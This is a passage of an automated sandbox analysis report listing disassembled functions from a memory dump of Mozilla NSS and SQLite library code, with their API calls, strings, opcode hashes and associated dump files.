Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 4d1c1d01dbbc06dc1f198d874258589599232b06fe3c4f2bd1c5e462835dd1c2
Instruction ID: 55a9b2c10cd3eb16f481971e8eb7185594dc20a1ce086caf2b9fe0ee303ae2a1
Opcode Fuzzy Hash: 4d1c1d01dbbc06dc1f198d874258589599232b06fe3c4f2bd1c5e462835dd1c2
Instruction Fuzzy Hash: B951DF79B043129BEB21DE29DC89F5B77E5AFA4309F14043CE84583720EBB1E8158B93

Function 6C4C8980 Relevance: 13.6, APIs: 9, Instructions: 150memoryCOMMON

Download Yara Rule

APIs

PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6C4C7310), ref: 6C4C89B8

Part of subcall function 6C521200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C4C88A4,00000000,00000000), ref: 6C521228
Part of subcall function 6C521200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C521238
Part of subcall function 6C521200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C4C88A4,00000000,00000000), ref: 6C52124B
Part of subcall function 6C521200: PR_CallOnce.NSS3(6C622AA4,6C5212D0,00000000,00000000,00000000,?,6C4C88A4,00000000,00000000), ref: 6C52125D
Part of subcall function 6C521200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C52126F
Part of subcall function 6C521200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C521280
Part of subcall function 6C521200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C52128E
Part of subcall function 6C521200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C52129A
Part of subcall function 6C521200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C5212A1

PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6C4C7310), ref: 6C4C89E6
PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6C4C8A00
CERT_CopyRDN.NSS3(00000004,00000000,6C4C7310,?,?,00000004,?), ref: 6C4C8A1B
PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6C4C8A74
PR_SetError.NSS3(FFFFE005,00000000,00000000,?,00000028,?,?,6C4C7310), ref: 6C4C8AAF
PORT_ArenaAlloc_Util.NSS3(00000004,00000008,00000000,?,00000028,?,?,6C4C7310), ref: 6C4C8AF3
PORT_ArenaGrow_Util.NSS3(00000004,?,C8850FC0,00000000,00000000,?,00000028,?,?,6C4C7310), ref: 6C4C8B1D

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Arena$Util$Alloc_$CriticalFreeGrow_PoolSectionfree$Arena_CallClearCopyDeleteEnterErrorOnceUnlockValue
String ID:
API String ID: 3791662518-0
Opcode ID: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction ID: 70cbc8d97a166e19c66eb1fa90cb37365f493ec570a4f791e3fa74f7666f4d73
Opcode Fuzzy Hash: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction Fuzzy Hash: 9B51C4B9B01210AFE710CF14CC40F6B77A8EF92719F15815AEC159BBA1E736E905CB92

Function 6C4C7CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4C40D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C4C3F7F,?,00000055,?,?,6C4C1666,?,?), ref: 6C4C40D9
Part of subcall function 6C4C40D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C4C1666,?,?), ref: 6C4C40FC
Part of subcall function 6C4C40D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C4C1666,?,?), ref: 6C4C4138

PR_GetCurrentThread.NSS3 ref: 6C4C7CFD

Part of subcall function 6C589BF0: TlsGetValue.KERNEL32(?,?,?,6C5D0A75), ref: 6C589C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6C5E9030), ref: 6C4C7D1B

Part of subcall function 6C51FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C4C1A3E,00000048,00000054), ref: 6C51FD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6C5E9048), ref: 6C4C7D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C4C7D50
PR_GetCurrentThread.NSS3 ref: 6C4C7D61
PORT_ArenaMark_Util.NSS3(?), ref: 6C4C7D7D
free.MOZGLUE(?), ref: 6C4C7D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6C4C7DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C4C7E19

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 5af165c513be0e3d076824dfad2e999f824946be9946edfbd33ebc3d6b0eaa21
Instruction ID: f8cde296b86300c3d29b8ba94cf44b9849440d8830e22abee0ba122e42a3881b
Opcode Fuzzy Hash: 5af165c513be0e3d076824dfad2e999f824946be9946edfbd33ebc3d6b0eaa21
Instruction Fuzzy Hash: 9641D57AB0411A9BEB00CF699C41FAB37E4AF8435DF050124EC1997B61E730ED1586A2

Function 6C4D7EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6C4D80DD), ref: 6C4D7F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6C4D80DD), ref: 6C4D7F36
free.MOZGLUE(?,?,?,6C4D80DD), ref: 6C4D7F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6C4D80DD), ref: 6C4D7F5D
DeleteCriticalSection.KERNEL32(?,6C4D80DD), ref: 6C4D7F94
free.MOZGLUE(?), ref: 6C4D7F9B
PR_SetError.NSS3(FFFFE08B,00000000,6C4D80DD), ref: 6C4D7FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6C4D80DD), ref: 6C4D7FE6
free.MOZGLUE(?,6C4D80DD), ref: 6C4D802D

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 747f0cb99376154bba04be3d7b2d4e920f5fb86e99fc85d7066c37824fc20d4d
Instruction ID: 7e66f54e64466cb2dcabeb770667c82b4dc41b277a3ff5f912abe3b8f17abc80
Opcode Fuzzy Hash: 747f0cb99376154bba04be3d7b2d4e920f5fb86e99fc85d7066c37824fc20d4d
Instruction Fuzzy Hash: 1441E771B111009BDB10EFBA8CDDF8A77B5BB46369F16022AE61683B40D734A405CB99

Function 6C51FEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C51FF00

Part of subcall function 6C56C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C56C2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6C51FF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C51FF26
PORT_ArenaMark_Util.NSS3(?), ref: 6C51FF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C51FF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C51FF8C

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 501fb9c4d6d684b4e35420ca49c3e6b9997278c74e67d7043da4494d79bff663
Instruction ID: b25c3488b35717ca0b273e1578053090c61ca874274f69853ad0ecd9d6461963
Opcode Fuzzy Hash: 501fb9c4d6d684b4e35420ca49c3e6b9997278c74e67d7043da4494d79bff663
Instruction Fuzzy Hash: A33123B290A3529BF7108F598C44B5BB6E8AF82348F15023AED1997F81E7B1ED04C7D1

Function 6C45E890 Relevance: 12.4, APIs: 5, Strings: 3, Instructions: 442stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C45E922
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C45E9CF
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C45EA0F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C45EB20
memcpy.VCRUNTIME140(?,?,?), ref: 6C45EB57

Strings

foreign key on %s should reference only one column of table %T, xrefs: 6C45EE04
unknown column "%s" in foreign key definition, xrefs: 6C45ED18
number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 6C45EDC2

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: memcpystrlen$memset
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 638109778-272990098
Opcode ID: fbc447f4d79a34f875c86ea6c24bc54e4d20421eba2c65011c51c80b1a1b0a18
Instruction ID: ba34478830d1f3a28d6c051625cd454d3beb9d4f55c91dde09a7f662ec1ef3bc
Opcode Fuzzy Hash: fbc447f4d79a34f875c86ea6c24bc54e4d20421eba2c65011c51c80b1a1b0a18
Instruction Fuzzy Hash: 0402AEB1E00219CFDB05CF59C4C0EAEBBB2BF89305F5941A9D815AB751D739A816CBE0

Function 6C467D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C467E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C467E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6C467EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C467F2E

Strings

database corruption, xrefs: 6C467EE2, 6C467F23
%s at line %d of [%.10s], xrefs: 6C467EE7, 6C467F28
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C467ED8, 6C467F08, 6C467F19

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 74d9ed3c355395e7c409dd32ab6c2c6df5edaf51fed5b61ee146c6e93f188fe1
Instruction ID: 49f8b0263d95d6f5734c217cb7f5ae6874561f0dc56fed91304883daf056aac3
Opcode Fuzzy Hash: 74d9ed3c355395e7c409dd32ab6c2c6df5edaf51fed5b61ee146c6e93f188fe1
Instruction Fuzzy Hash: 1761A370A082059FDB05CF2AC890FAA7772BF45308F1445A9EC195BF56D731EC56CBA1

Function 6C44FCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C44FD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C44FD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C44FE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C44FE83

Part of subcall function 6C44FEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6C44FEFA
Part of subcall function 6C44FEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6C44FF3B

Strings

database corruption, xrefs: 6C44FD6E, 6C44FE30
%s at line %d of [%.10s], xrefs: 6C44FD73, 6C44FE35
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C44FD64, 6C44FE26

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: ebfa8ec6ee4a7ab1daef7ebc27bed86c3a46bc6ee7a5e8cde61448e5eeca3fd3
Instruction ID: 0406d5efc0fcf916811cfbb4c57e710d6a602b0362e73ccd325936ecdc540334
Opcode Fuzzy Hash: ebfa8ec6ee4a7ab1daef7ebc27bed86c3a46bc6ee7a5e8cde61448e5eeca3fd3
Instruction Fuzzy Hash: 90518371A01205DFEB04CF99C890EAEB7B1FF48309F248169DA05ABB52E731EC51CB94

Function 6C592F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C592FFD
sqlite3_initialize.NSS3 ref: 6C593007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C593032
sqlite3_mprintf.NSS3(6C5FAAF9,?), ref: 6C593073
sqlite3_free.NSS3(?), ref: 6C5930B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C5930C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C5930BB

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 911fd82eab82ae2e3f7b32c5dfef1c5d2d6b2bbb568c17bada7c767a5dc38df9
Instruction ID: 4e1a1077fa00a636cdcfff15674143cc1a8688b0c50b3d90aea08740af4c3abd
Opcode Fuzzy Hash: 911fd82eab82ae2e3f7b32c5dfef1c5d2d6b2bbb568c17bada7c767a5dc38df9
Instruction Fuzzy Hash: AC41BF71600A46EBDB00CF25DC80A86B7E5FF44368F148668EC598BB40E731F995CBD1

Function 6C515ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]Ql), ref: 6C515F0A
TlsGetValue.KERNEL32 ref: 6C515F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6C515F2F
PR_Unlock.NSS3(890008E8), ref: 6C515F55
PR_SetError.NSS3(00000000,00000000), ref: 6C515F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6C515F7D

Part of subcall function 6C515220: TlsGetValue.KERNEL32(00000000,890008E8,?,6C515F82,8B4274C0), ref: 6C515248
Part of subcall function 6C515220: EnterCriticalSection.KERNEL32(0F6C5E0D,?,6C515F82,8B4274C0), ref: 6C51525C
Part of subcall function 6C515220: PR_SetError.NSS3(00000000,00000000), ref: 6C51528E
Part of subcall function 6C515220: PR_Unlock.NSS3(0F6C5DF1), ref: 6C515299
Part of subcall function 6C515220: free.MOZGLUE(00000000), ref: 6C5152A9

Strings

q]Ql, xrefs: 6C515EDB, 6C515F09

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]Ql
API String ID: 3150690610-1896342624
Opcode ID: ed629f0df435e3f5ca7ff4ad50c2179314d28b5247f2318a040a4abdb654a879
Instruction ID: 8533d74fdc2af29cb6b4269d9773a88aebd9d94739ffe9f0051e8b7102160f96
Opcode Fuzzy Hash: ed629f0df435e3f5ca7ff4ad50c2179314d28b5247f2318a040a4abdb654a879
Instruction Fuzzy Hash: 3121D6F1D042049FEB00AF69DC45AEEB7B4EF48318F940029E906A7B01EB31A958CBD5

Function 6C4D8CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C4E124D,00000001), ref: 6C4D8D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C4E124D,00000001), ref: 6C4D8D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C4E124D,00000001), ref: 6C4D8D73
PR_Unlock.NSS3(?,?,?,?,?,6C4E124D,00000001), ref: 6C4D8D8C

Part of subcall function 6C56DD70: TlsGetValue.KERNEL32 ref: 6C56DD8C
Part of subcall function 6C56DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C56DDB4

PR_Unlock.NSS3(?,?,?,?,?,6C4E124D,00000001), ref: 6C4D8DBA

Strings

KRAM, xrefs: 6C4D8D3E
KRAM, xrefs: 6C4D8CF9

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: cf1c88ca0b5308206f705c576afcb5523410bd08b4e1e0cdd7aebd929d0032f8
Instruction ID: d28a489fbfc8a0de84fc2a6fc4fdb040f77352a2f158194d88157b1d6fb433a9
Opcode Fuzzy Hash: cf1c88ca0b5308206f705c576afcb5523410bd08b4e1e0cdd7aebd929d0032f8
Instruction Fuzzy Hash: 4C216DB5A04601CBCB40EF39C894D6AB7F0FF95305F16896AD89987741D735E842CBD1

Function 6C5D0ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C5D0EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C5D0EFA

Part of subcall function 6C4BAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C4BAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5D0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5D0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5D0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5D0F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C5D0ED9, 6C5D0EE5, 6C5D0F06, 6C5D0F0B
Aborting, xrefs: 6C5D0EB3

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 99c8eb000bd87af3cfe754ca0fb4329921fd428b8e208c64e249a05ac50c61ff
Instruction ID: e081d578be803766c8d352f11f9fcb427880e17e67adcab1f50ff9a8e1a49188
